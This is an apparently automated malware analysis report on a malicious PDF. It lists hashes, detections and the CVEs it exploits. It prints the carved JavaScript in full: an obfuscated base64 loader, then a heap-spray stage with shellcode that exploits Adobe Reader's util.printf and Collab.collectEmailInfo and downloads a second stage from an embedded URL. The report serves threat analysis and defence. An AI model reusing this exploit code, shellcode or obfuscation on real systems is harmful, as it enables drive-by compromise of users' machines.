Malicious PDF — malware analysis report

Static analysis result for SHA-256 051ed031efb46dd7…

MALICIOUS

PDF

17.8 KB Created: 2009-08-02 06:39:28 Authoring application: sZ5clO (via EGDUyjg05jg) First seen: 2013-08-20
MD5: f9e13788f161b02d283501f121c66ea9 SHA-1: 9e79e8eea2b15c9285bf24fc31798212a0ee1486 SHA-256: 051ed031efb46dd75daa90f2ce842a395ec3d4038ee90bf10e20d9d2b8c47782
516 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits multiple Adobe Reader vulnerabilities, specifically CVE-2007-5659 and CVE-2008-2992. The script decodes a payload and attempts to download a second-stage executable from the URL http://grasma.com/spl6/load.php. The ML classifier and ClamAV detection strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Js.Trojan.Obfus-48 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Js.Trojan.Obfus-48
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                    eval(YTqIRk2Harz8Ua);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://grasma.com/spl6/load.php Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x22E 16885 bytes
SHA-256: ed1553195b5c8de5893f296ff86b045f7a5cc3d8aec487d0987190cca041b27b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 13 of 25 identifiers look randomly generated (e.g. 'Wm5WdVkzUnBiMjRnVm5Sd09UbHlZM2gxU1ZONktI') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var I9g087nqwvW="";
                                var YTqIRk2Harz8Ua="";
                                function IJge1pL( piqjZQYrx0XN6 ) {
                                    var LRxnOtJZsmPBEA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
                                    var Ck6UsZ6LqP, jPrqZoIWb, lvFJifVwq, WanxTN3oD, TnTBkJuDuiA, DDCJe, SVnbv, OsV1FaowO, m0b3MV = xtqk60P0Bu = 0, SpJFioGyP5un = "", osLfcRp2b2wYo = [];
                                    piqjZQYrx0XN6 += "";
                                    do {
                                        WanxTN3oD = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        TnTBkJuDuiA = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        DDCJe = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        SVnbv = LRxnOtJZsmPBEA.indexOf(piqjZQYrx0XN6.charAt(m0b3MV++));
                                        OsV1FaowO = WanxTN3oD<<18 | TnTBkJuDuiA<<12 | DDCJe<<6 | SVnbv;
                                        Ck6UsZ6LqP = OsV1FaowO>>16 & 0xff;
                                        jPrqZoIWb = OsV1FaowO>>8 & 0xff;
                                        lvFJifVwq = OsV1FaowO & 0xff;
                                        if (DDCJe == 64) {
                                            osLfcRp2b2wYo[xtqk60P0Bu++] = String.fromCharCode(Ck6UsZ6LqP);
                                        } else if (SVnbv == 64) {
                                            osLfcRp2b2wYo[xtqk60P0Bu++] = String.fromCharCode(Ck6UsZ6LqP, jPrqZoIWb);
                                        } else {
                                            osLfcRp2b2wYo[xtqk60P0Bu++] = String.fromCharCode(Ck6UsZ6LqP, jPrqZoIWb, lvFJifVwq);
                                        }
                                    } while (m0b3MV < piqjZQYrx0XN6.length);
                                    SpJFioGyP5un = osLfcRp2b2wYo.join("");
                                    SpJFioGyP5un = Xxx6K(SpJFioGyP5un);
                                    return SpJFioGyP5un;
                                }
                                function Xxx6K ( Ck6UsZ6LqP ) {
                                    var jPrqZoIWb = [], lvFJifVwq = WanxTN3oD = piqjZQYrx0XN6 = TnTBkJuDuiA = DDCJe = 0;
                                    Ck6UsZ6LqP += "";
                                    while ( lvFJifVwq < Ck6UsZ6LqP.length ) {
                                        piqjZQYrx0XN6 = Ck6UsZ6LqP.charCodeAt(lvFJifVwq);
                                        if (piqjZQYrx0XN6 < 128) {
                                            jPrqZoIWb[WanxTN3oD++] = String.fromCharCode(piqjZQYrx0XN6);
                                            lvFJifVwq++;
                                        } else if ((piqjZQYrx0XN6 > 191) && (piqjZQYrx0XN6 < 224)) {
                                            TnTBkJuDuiA = Ck6UsZ6LqP.charCodeAt(lvFJifVwq+1);
                                            jPrqZoIWb[WanxTN3oD++] = String.fromCharCode(((piqjZQYrx0XN6 & 31) << 6) | (TnTBkJuDuiA & 63));
                                            lvFJifVwq += 2;
                                        } else {
                                            TnTBkJuDuiA = Ck6UsZ6LqP.charCodeAt(lvFJifVwq+1);
                                            DDCJe = Ck6UsZ6LqP.charCodeAt(lvFJifVwq+2);
                                            jPrqZoIWb[WanxTN3oD++] = String.fromCharCode(((piqjZQYrx0XN6 & 15) << 12) | ((TnTBkJuDuiA & 63) << 6) | (DDCJe & 63));
                                            lvFJifVwq += 3;
                                        }
                                    }
                                    return jPrqZoIWb.join("");
                                }

                I9g087nqwvW= IJge1pL("function Vtp99rcxuISz(viq8gD5wfJy){ return String['fromCharCode'](viq8gD5wfJy);} function DaLT0jcjLxxVq(p1OEfcTxni5CPJ){ var kF2EPrv7s=0, uYcjt7=p1OEfcTxni5CPJ.length, BicxgZTXdOY=1024, YDf7BSoFfDY, v7671Czc, vabB49pShr5='', eB6zzLeDu8=kF2EPrv7s, jDg2P=kF2EPrv7s, IKHEwTI6Ilm=kF2EPrv7s, Cgh2mg18LE3Tp=Array(63,41,60,27,49,61,48,10,9,4,0,0,0,0,0,0,54,19,1,11,8,15,47,56,59,21,46,58,57,24,23,50,39,33,44,53,14,7,16,12,38,20,5,0,0,0,0,3,0,22,43,28,6,17,18,62,35,34,32,55,2,13,25,26,42,31,30,51,40,52,37,36,29,45,0); for(v7671Czc=Math.ceil(uYcjt7/BicxgZTXdOY);v7671Czc>kF2EPrv7s;v7671Czc--){ for(YDf7BSoFfDY=Math.min(uYcjt7,BicxgZTXdOY);YDf7BSoFfDY>kF2EPrv7s;YDf7BSoFfDY--,uYcjt7--){ IKHEwTI6Ilm|=(Cgh2mg18LE3Tp[p1OEfcTxni5CPJ.charCodeAt(eB6zzLeDu8++)-48])<<jDg2P; if(jDg2P){ vabB49pShr5+=Vtp99rcxuISz(65^IKHEwTI6Ilm&255); IKHEwTI6Ilm>>=8; jDg2P-=2; } else { jDg2P=6; } } } eval(vabB49pShr5); } DaLT0jcjLxxVq('jW6WSjNxJ6UmFViWizfWww@MweAxOIPcweAxOIPcweAxOIPcweAcUV6zwehcOekzwesxk8zrweAr4mzrweAr4ZUcwe_BUDPcwe_BsIPcwe_B_czzwe_BLZUxwesBUVjzwesBUc6BweAr_MkBweABUYUBwe_BUV6BwesxSe6Bwe_BOB6Bwe_rUcNxweAxsxjcwe_rUcNxwesx9Vjxwe_BU9Pcwe_BUV6zwesxSe6BweszGZPcwesx6vPxwe_B6BzcweAc@ZPcwe_BUzUcwe_BUV6Bwe_zzckxweszGe6zwehx@vPxwesxuBUcweAc@ezcwe_BUzkBwe_BUV6Bwe_zzckxweszGejxwehzzwPxwe_c4ekBweAc@mNBwe_BU9NBwe_BUV6Bwe_zzckxweszGejcweAc4vPxweAcUWUcweAc@vkBwe_BUDkzwe_BUV6Bwe_zzckxweszGx6Bwesc9wPxweAczjkxweAc@ePxwe_BUWUrwe_BUV6Bwe_zzckxwe_zUc6zweAB@xkBwe_rzWPzwesxkBUxwesB@Bzzwe_BLZkxwe_BUVzBwesz6e6Bwe_rzckxwesxS86zwe_B_zzzwe_B9wUxwesxSm6xwesB@mzzweAc@mzrwe_BUcNxwe_BUV6BweAr@m6BwesBuIzrwe_rUDVcwehxLZPxwe_BUV6Bwesxke6BwesBOBzzwesczcNxwescUcPzwesxkm6BwehzUzzzwe_c4vPxwe_BUV6BweszUV6Bwe_zzcNxweArux6zweszkeVBweszzcNxweAc@xjxwe_BUwUBwe_BUV6Bwe_zzVjzwescL86BweszOe6Bwehz6QUcwescLvUzwe_B_z6BweArzjPxwe_BUV6Bwe_rzzNcwesxS86Bwe_BOBzzwe_B9wUxwesxSm6xwesB@mzzwe_zU9Pxwe_BUV6BweArue6Bwesz@eVrwe_zzVjzweABlD6zweszlDNxwe_c4mjzwehzUjUzweszlW6Bwe_zzcNxweAruxjcweszkezzweszzcNxweAc@xjxwe_BUDjzwe_BUV6Bwe_BUwUxwe_rzzNcwesxS86Bwe_B@Bzzwe_BZwUxwesxSm6xwesB@mzzwesBU9Pxwe_BUV6BweArue6BwesxSBNcwesBUzzzwe_B9wUxwesxSm6xwesB@mzzwe_BU9Pxwe_BUV6Bwe_z9V6BweszZWVxweAc9VjzweAc9VjzweAc9VjzweAc9VjzweAcOxPzweszue6zwesxSmjzweAcZDUxweszZzNrweAcUzNcwesxSmzzwesxSZPcwe_B@QkcweszsxNxweszGejcwe_rlcNxwesxSIjcwesB6Qkzwe_BljPxweszGBPzwe_rGxNxwe_BlD6BweABlzPzwe_zkmkxweAxsBzBwesclVjzweABlWzrwe_B4BUrwesBUVUcwe_cZYzxwe_B@Qkzwesc6mUBwe_BlV6cwe_zUzNBwe_c99Nxwe_c6IVxwe_rzWzcweszuZUzweAcSxNxweszuxNxwe_BlD6zweArG8kcwe_BOxNxwesxSBVxwesBOmzxwehcsejzwe_B_cNxwe_BlcNxwesz6mUzwescZW6cwe_BUVjxwe_c_9Pxwe_c4BUcweszzzNcwe_zOmVBwe_z4B6cwe_BUzzcwehxSxNrwehx4nNxwescUDUzwesx@mkBwesx6nkcwesxZMPcwesc9cUcwesxUcPcwescUcNBwehx4nPcwehckxPzwesxlWkBwesx6xkBwesc9cNxwesxLnNcweAc4nNchQXrQx_Ds9a8Lwz8Se4WSeeZLvUD96UmFViWizfWww@MweAcz9UzweAcz9UzhQXrkzOWQ5lC2mNcKx_Ds9@8X6kCRtdD_WAmGIPCFSl8FMfm1tPm1jfCwwa8Lwz8Se4WSeeZLvUD92aCw2i8SwfqPMlovwAlwYUZsYUZIwNrjVjo2IfT8VfxYWAxYYerLBlBKx_Ds9@CRWOW2IfT8VfxYWAxYYerLBlBF8_mhDAmsjOCXwacyxi8t1kmjWAMOY_7X6N8Lwz8Se4WSeeZLvUD92XWuWiWSW_7FMfo4Sa8Lwz8Se4WSeeZLvUD92aCw2i8Swl3PMloKnA7tul818AmtMO3yVOCXYA7pxi85ZNTkZNc4ZUoOY_7X6PWSji8p8AmtMioF6ODstkmjWAMjWsWR6kCwMAMzWsWjjAot1k8JWAotR_q41U7HuUcsZNcKQOTp1doKzOWs6idtR_U28AmtMiojW6WSjNxJ6smjWAMlwPmLxkc2mdcsQkMpmdrGQUrGQUrGmXohQUrGQUrh1@MGQUrGmXohvNrLvNrLvkMpmarLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvkMpmarLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLmXohvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLmXohvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrLvNrh1@MLvNrLvNrLvNrLvNrLmXohvNrLvNrLvNrLvNrLvNrLvNrLvkMpmarLvNrLvNrLvNrLvNrLmXruY_7y2aWsjOCScfoheaxuZNc4xOMy8Vr@wkxsQXrPVsCiY_7J2fMUMA8zYU7_wdoQ1AMkzOWQyecTujzOY6BEMO_Q4NMFVimQB6WszlT1QXrQxlmFDfmtGOCQnhDSn4CkzeosV69ZWzxTc6Cj6zZbtf3QQA8u8zcpzOZs86dMR_ZtZXTQnA7tul8Qv@W9WeB_VP_U2lDWV47p2aCw2i8SwOosSUTvVPz61lDNWPz3j4TYjXTsV69ZWzxTc6Cj6zZbtfMp4NMsV69ZWzxTc6Cj6zZbtir29@W9WeB_VP_U2lDWV47p9dqQm_BAY6zuL6BFzl_YRi7F8_mhDAmsjOCXwacyQA8u8zcpzOZs86dMR_ZJmUoKZ@WwY_ms2fMsV69ZWzxTc6Cj6zZbtirQ4AMPVsCiY_7J2fMRYeBEwi_fcN8UcOTp9eotZXTQx_Ds9@9m2z8MGV9GIs9Q4NM4vAci9PD48fcitNMkzOWQn6T7wATdzBzw9dqQesCwDhDj9_81mdnuYPcS8UnuYPcS8UnuYPcS8Unu9kB9WznuDPcumznuckxljUnuwNc_jUnuwNc4BUnuV6BO8UnuV6cS8UnuV6zUzznuVVr4eUnuc6B9Dznuc6BUcznuwkz@xznuY6BSeznuV6B9cznucNx9cznuVjczcznujkBkIUnuYkcUDUnujkBkIUnucUB9MUnuV6B48UnuV6B9WznucNx9cznuWzr48UnucUcLnUnuVzczzUnu9Px48UnuV6B6BUnuV6B9cznuzzzkxUnuWzr9WznuMPxLnUnucUx6BUnu9Px9zUnuV6B6xznuV6B9cznuzzzkxUnuWzr9MUnuDzzLnUnuzNcuxznu9PxsIznuV6B4IznuV6B9cznuzzzkxUnuWzr9DUnu9NcLnUnu9kBsBUnu9PxLxznuV6BOmznuV6B9cznuzzzkxUnuWzrUcznuWUBLnUnu9UzGxUnu9PxunUnuV6BsQUnuV6B9cznuzzzkxUnuz6BUWznuYjxkxznujUzs8znuckx6eUnucjxzzznuVVr4xUnuV6B9VznuWzc9cznujUzkxUnucNxlWznuV6zzzznuVzBLeUnucNx_cUnucjx_zznu9Px_jUnuV6BkIUnuV6B9cznuwPx_cznuczxZjUnujkBl9UnuMNr4nUnuV6B9cznuckx9cznucjczzznuWUzkIUnuWkBk8znuckx_cznuD6BzzznuzNcLnUnuV6B9cznuW6B9cznuzzzkIUnuwUxUWznuW6x9YznuWzzkIUnu9PxUMUnuV6BLeznuV6B9cznuzzz9DznuWNrlcznuWjc9cznuDzcGBUnuWNrLBznuV6zzcznuwUzGnUnuV6B9cznujUz6ZUnucNxlcznuVjczzznuVzBLeUnucNx_cUnucjx_zznuz6B4nUnuV6B9cznuwUx9cznuWjx9wUnuzzz9DznuYjzlWznuWjzOIUnuzNc_DznuD6BGBznuWjz_cznuzzzkIUnuwUxUDUnuW6x9zznuWzzkIUnu9PxUMUnuV6BlDznuV6B9cznuV6BLeUnujUz6ZUnucNxlcznuVjxzzznuVVBLeUnucNx_cUnucjx_zznuc6B4nUnuV6B9cznuwUx9cznucNx6ZUnuc6BzzznuVzBLeUnucNx_cUnucjx_zznuV6B4nUnuV6B9cznuzzB9cznuWVB_YUnu9UB9Dznu9UB9Dznu9UB9Dznu9UB9Dznu9Pck8znuWzx9WznucNx_Dznu9NBOeUnuWVB6vUnu9kB6ZUnucNx_zznucNx48UnuVjxGmUnuW6ckIUnuWzr9DUnujPzkIUnucNxZDUnuczcGmznuVjzGnUnuWzr68znujUrkIUnuVjzlcznuYjz68znuz6xsxUnuYkczVznuWPz9DznuYjz_jUnuVVc6QUnuc6BuBUnuzNBZVUnuVjxGmznuWUcseznuVjz9WUnuz6B6IznuzUB4IUnuzUcZYUnujUz_zUnuWzx4Bznu9NxkIUnuWzxkIUnuVjzlWznuwUrOmUnuVjckIUnucNxzYUnucjc_VUnuDkc9DznuV6zkIUnuVjzkIUnuWzcsBznuWNB_WUnuV6B9MUnuzkz4nUnuzNc6BUnuWzz6ZUnuzjc_YznuzVczWUnuV6BzzUnucUrOxznuDNBkIUnuMPcsxUnucPz@ZUnuDNxOI6Mt1NMkzOWQy6lmDz7pujD_MlxQ4NM4vAx4ZNc4ZPrQx_Ds9d9sQUlf9dqQn6T7wATdzBzw2aCw2i8SwfMbZ@cKZ@mjWAMGYlxlzP7jc4clRBdHVeM2Z@lCujzttf_iWj8uZd3Qvd9sQUlftacLDNrt1NMkzOWQm_BAY6zuL6BFzl_YRi7Q4NMu2l8ODlD4VfohedmGZUr4edmGZUr4mdoKZ@W9WeB_VP_U2lDWV47p9dqQnhDSn4CkzeosV69ZWzxTc6Cj6zZbtf3QQA8u8zcpzOZs86dMR_Zt1NMkzOWQ8lDSYPCkZe78cBcZD68Q4NM1me_EVldT9BrSWeMRZacLYNc4ZNc4QX3CRV_lji7mDOzXVPrQxiCs9aokzOWQyixZDz_SDjxDM_q41k7@IjzWYhz@Qjm58lDSYPCkZe78cBcZD68KyixZDz_SDjxDMhopQaMK9@d4LV_lDABU2j8Et47@IjzWYhz@Qjmc9dqQm_BAY6zuL6BFzl_YRi7Q1aMdRhlLwhBVzz8KZdEQ4AMPVsCiY_7J2fM@DhB8YjWIVATwwdoQ1AMkzOWQv6C9Wer_DUc9WhxvjQ_Q4NMj9AWFx_7wM_8scB8sD_7J2O3SGi9SW_7FMfot1NM82lBAwkzOBUBsMN8MGVM2ZalFV69Lmjc6e6W@IldT2@Ww9ACjDl81LaUZGX8ym@Mt1NMkzOWQZ4DmVVcOMU9ztVM2Z@CwMAMzWsWjjAo82lBAwkzOBUBsMN8MG63iwlDszVm1ZUoyv6C9Wer_DUc9WhxvjQ_F8f7jW_zSwdctSalFV69Lmjc6e6W@IldT2XD1zOWzYAosQdoKZd7P9ao1Z4DmVVcOMU9ztjd44eM24NMLZ@nPZao1Z4DmVVcOMU9ztjd64eM24NM6Z@nPZa9huzB48hxVzjloWUUQSNMsQaM5uAMeWf_99PW@BBz7tBcc9aqQBUotZaE59aoeWf_99PW@BBz7tecc9dq2ZXxQx@nQZ4DmVVcOMU9ztjd64eM5ZdctZaE59aoeWf_99PW@BBz7tecc9aqQnUotZXTQ4fZZ2V7TD4xvc68Htf91QXrQx_Ds9dC9czlzVjxeMlBj9dqQesCwDhDj9_81mdnu9PD48lnu9PD48OMt1NM@wl7yVfoRV6BDzzB@ZQ89zO3yVOCXYA7QSNMSIUrumUoQ4lBUjzz9MN9XVzDQ1dqQ4lBUjzz9MN9XVzDKZam1jiWF8iCyulDhDemJW_8Q4NMlGfCyzODF8iCyul8iY_BRzl7yj6CPGfoKD_mhROrQm@My4iWXRNMRV6BDzzB@ZQ89zlEt1NM29dEQnhWdwVBOYBmLVfot1NM2z');");
                YTqIRk2Harz8Ua=IJge1pL(I9g087nqwvW);
                eval(YTqIRk2Harz8Ua);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x11A8 4717 bytes
SHA-256: bc6c228d4eb798cbca0d71382cfba851327b7b0f6a2bb164ebe53db06d3179ff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
aBrt94o=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var dxHe4Ur4UT88aE=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+aBrt94o.length;while(dxHe4Ur4UT88aE.length<fg)dxHe4Ur4UT88aE+=dxHe4Ur4UT88aE;var nmbr=dxHe4Ur4UT88aE.substring(0,fg);var stig=dxHe4Ur4UT88aE.substring(0,dxHe4Ur4UT88aE.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+aBrt94o}var C8w862="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",C8w862);function FwdA4iB() { var Z0OLCsDFNgN = new Array(); function wc4WnvQ(rERDB5OFnaMUjk, yd5C1kaV2CZYzU) { while (rERDB5OFnaMUjk.length*2<yd5C1kaV2CZYzU){rERDB5OFnaMUjk += rERDB5OFnaMUjk;} rERDB5OFnaMUjk = rERDB5OFnaMUjk.substring(0,yd5C1kaV2CZYzU/2); return rERDB5OFnaMUjk; } function mTDNhOS6dFfzkP() { var RLNeYOP9tR = 0x0c0c0c0c; var GzKxxGQAe = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var JJLCikLcBg5 = 0x400000; var Q29IS = GzKxxGQAe.length * 2; var yd5C1kaV2CZYzU = JJLCikLcBg5 - (Q29IS+0x38); var rERDB5OFnaMUjk = unescape("%u9090%u9090"); rERDB5OFnaMUjk = wc4WnvQ(rERDB5OFnaMUjk, yd5C1kaV2CZYzU); var cat4o6PhHV1DCf = (RLNeYOP9tR - 0x400000)/JJLCikLcBg5; for (var j7DCMtC7Iw=0;j7DCMtC7Iw<cat4o6PhHV1DCf;j7DCMtC7Iw++) { Z0OLCsDFNgN[j7DCMtC7Iw] = rERDB5OFnaMUjk + GzKxxGQAe; } } function wsGHDsTuxe() { var HnER8B31Er7dYO = app.viewerVersion.toString(); HnER8B31Er7dYO = HnER8B31Er7dYO.replace(/\D/g,""); var PbLE0s7QAK = new Array(HnER8B31Er7dYO.charAt(0),HnER8B31Er7dYO.charAt(1),HnER8B31Er7dYO.charAt(2)); if ((PbLE0s7QAK[0] == 8 && ((PbLE0s7QAK[1] == 1 && PbLE0s7QAK[2] < 2) || PbLE0s7QAK[1] < 1)) || (PbLE0s7QAK[0] == 7 && PbLE0s7QAK[1] < 1) || (PbLE0s7QAK[0] < 7)) { mTDNhOS6dFfzkP(); var mEFIAE7PgEa = unescape("%u0c0c%u0c0c"); while(mEFIAE7PgEa.length < 44952) mEFIAE7PgEa += mEFIAE7PgEa; this.collabStore = Collab.collectEmailInfo({subj: "",msg: mEFIAE7PgEa}); } } wsGHDsTuxe(); }

Open this report in the interactive analyzer, or submit your own file for analysis.